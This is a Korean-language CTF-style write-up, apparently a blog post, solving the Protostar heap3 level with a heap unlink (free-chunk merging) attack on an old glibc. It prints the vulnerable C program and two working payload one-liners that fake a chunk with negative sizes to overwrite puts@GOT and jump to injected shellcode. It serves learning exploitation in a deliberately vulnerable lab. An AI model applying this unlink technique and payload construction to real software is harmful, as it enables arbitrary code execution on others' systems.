본문 바로가기

공부는 계속 ../Pwnable Writeup

Protostar heap3

Double free bug 를 이해하고 가장 쉽게 접근할 수 있는 문제..


문제 환경은 아주 예전의 취약한 glic 버전을 사용하고 있기에.. 해당 사이트에서 제공하는 iso 로 진행해야 한다.


문제 소스코드는 다음과 같다. 


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
 
void winner()
{
  printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}
 
int main(int argc, char **argv)
{
  char *a, *b, *c;
 
  a = malloc(32);
  b = malloc(32);
  c = malloc(32);
 
  strcpy(a, argv[1]);
  strcpy(b, argv[2]);
  strcpy(c, argv[3]);
 
  free(c);
  free(b);
  free(a);
 
  printf("dynamite failed?\n");
}
cs



앞 포스팅의 Double Free bug 는 [할당][해제] 하는 과정에서, 첫번째 mol1을 해제하는 과정에서 mol1은 다음 노드인 mol2와 병합하는 과정에서 발생하는 취약점이였다.


해당 포스팅은 [할당][할당][해제] 과정에서 free(b) 에서 발생하는 취약점이다. free(b) 를 하려는 과정에서 이전 노드인 A가 가짜로 해제되어있는 상태로 인식시키게 하여 a와 b를 병합하는 과정에서 취약점을 발생시킨다.


좀 더 설명을 해보면 다음과 같다.


처음 free(c) 는 그냥 지나간다. 별로 아무런 일이 일어나지 않는다.


혹시나 이전노드가 해제되었는지 확인을 하겠지만 prev_size = 0 이므로 아예 존재하지도 않는다.


일단 페이로드부터 보자. (보다 정확히 말하면 0x0804c30 에는 0x7a7a0062 가 들어감)


`python -c 'print "\x90"*4+"\x68\x64\x88\x04\x08\xc3"+"a"*22+"\xfc\xff\xff\xff"*2+"zzzz"+"\x1c\xb1\x04\x08"+"\x0c\xc0\x04\x08"'` b c




위의 그림은 페이로드를 집어넣었을때의 그림이다. 


gdb 상에서 보면 다음과 같다.




다시 본론으로..


처음 free(c) 를 하면 아무 변화가 없고, 그 다음 free(b) 를 하는 과정에서 취약점이 발생한다.


free(b) 는 이전 chunk인(가상의 또다른 a라고 가정) a의 위치를 알기 위해 "해당위치 - prev_size" 를 진행한다. (여기까지 이론상 아무 문제가 없다) -> 추가 설명 : free(b) 를 하는 과정에서 b청크의 PREV_INUSE가 0 이므로, 이전 청크(a)와 병합을 해야함


하지만 0x0804c000의 위치를 찾아가는 것이 아닌 엉뚱한(?) 0x0804c28 - (-4) = 0x0804c2c 위치를 a위치로 인식한다. 


그리고 이 곳이 a의 시작점이고 여기서부터 prev_size(-4), chunk_size(0x41414141), fd, bk 임을 알고, 가상의 a(faked chunk)는 b와 병합하기 위해 fd+12 = bk, bk+8 = fd 를 진행한다. 


페이로드에 적혀있는 fd, bk 의 값은 다음과 같다.


먼저, fd 는 puts@got - 12 의 주소를 적어준다 (이렇게 해야지 puts@got에 bk주소가 들감, 그리고 puts 를 실행하면 bk(nop+쉘코드) 가 실행됨)


자연스럽게 bk는 쉘코드 주소를 적어줌. (쉘코드는 a에 적어주도록 하고 이 주소를 가져옴,,, 32바이트면 함수 포인터 변경하기 충분하다.. 뭐 본 환경에는 data 영역에 실행권한도 있었다고 함... 확인은 안함 되길래)


아래 그림은 free(b) 하고난 뒤의 gdb (bk+8이 fd값이 들어간 것을 확인할 수 있음)




이렇게 하고 프로그램이 printf("dynamite failed?\n"); 를 실행하면 puts@got 를 실행할거고.. 여기엔 0x909090+ 쉘코드가 들어있다.


(번외)


쉘코드를 이렇게 짠 사람도 있길래...


 

`python -c 'print "\x90"*22+"\x68\x64\x88\x04\x08\xc3"+"a"*4+"\xfc\xff\xff\xff"*2+"zzzz"+"\x1c\xb1\x04\x08"+"\x0c\xc0\x04\x08"'` b c


이게 왜 되나 머리속으로만 생각했었다.. 분명히 bk+8 = fd 과정에서 nop 가 짤려버려서 쉘코드가 작동하지 않을거 같았는데..


gdb instruction 을 조회해보니 별거 아니더라... 그냥 다음과 같아서 쉘코드 실행하는데는 별 지장이 없었음.. 그냥 참고용!



끝!




'공부는 계속 .. > Pwnable Writeup' 카테고리의 다른 글

Codegate 2017 messenger  (0) 2018.03.01
Plaid CTF 2014 ezhp  (0) 2018.03.01
Double Free Bug  (0) 2018.02.23
Codegate 2017 - babypwn  (0) 2018.02.22
Codegate 2014 Nuclear  (0) 2018.02.21